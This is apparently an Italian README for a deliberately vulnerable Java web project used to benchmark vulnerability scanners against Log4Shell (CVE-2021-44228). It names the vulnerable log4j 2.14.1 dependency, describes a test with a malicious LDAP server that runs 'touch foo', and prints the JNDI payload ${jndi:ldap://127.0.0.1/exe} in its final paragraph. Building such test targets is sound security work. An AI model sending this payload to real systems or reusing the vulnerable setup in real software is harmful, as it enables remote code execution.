
progetto web JEE con vulnerabilità log4shell (CVE-2021-44228)
Questo è un semplice progetto web con una vulnerabilità log4shell.
Il progetto definisce un semplice servizio GET scabench.HelloWorldService che restituisce una stringa di testo semplice hello world.
Il servizio non prevede parametri e, se vengono rilevati parametri, viene registrato un errore.
La dipendenza vulnerabile è org.apache.logging.log4j:log4j-core:2.14.1, la vulnerabilità è CVE-2021-44228.
Questo richiede Unix o macOS. È facile portare questo progetto su Windows.
Viene fornito un test unitario per dimostrare la vulnerabilità. Il test richiede un server LDAP che fornisce codice vulnerabile; l'eseguibile corrispondente è fornito dal progetto ed è definito in un progetto separato https://github.com/jensdietrich/Log4J-RCE-Proof-Of-Concept basato su https://github.com/HyCraftHD/Log4J-RCE-Proof-Of-Concept. Il test fixture gestirà l'avvio e l'arresto del server LDAP.
Il test creerà un file foo basato su un comando codificato e incorporato nel codice del server LDAP a cui log4j si connette (touch foo). Questo server può essere controllato da un attaccante.
Per eseguire il test, compila il progetto con mvn test.
mvn jetty:runjava -jar dodgy-ldap-server.jar (il codice vulnerabile scaricherà codice Java da questo server)http://localhost:8080/, questo sito contiene un modulo precompilato con un payload dannoso ${jndi:ldap://127.0.0.1/exe}foo sul serverCi sono diversi script sh per eseguire diverse analisi; i report dei risultati si trovano in scan-results.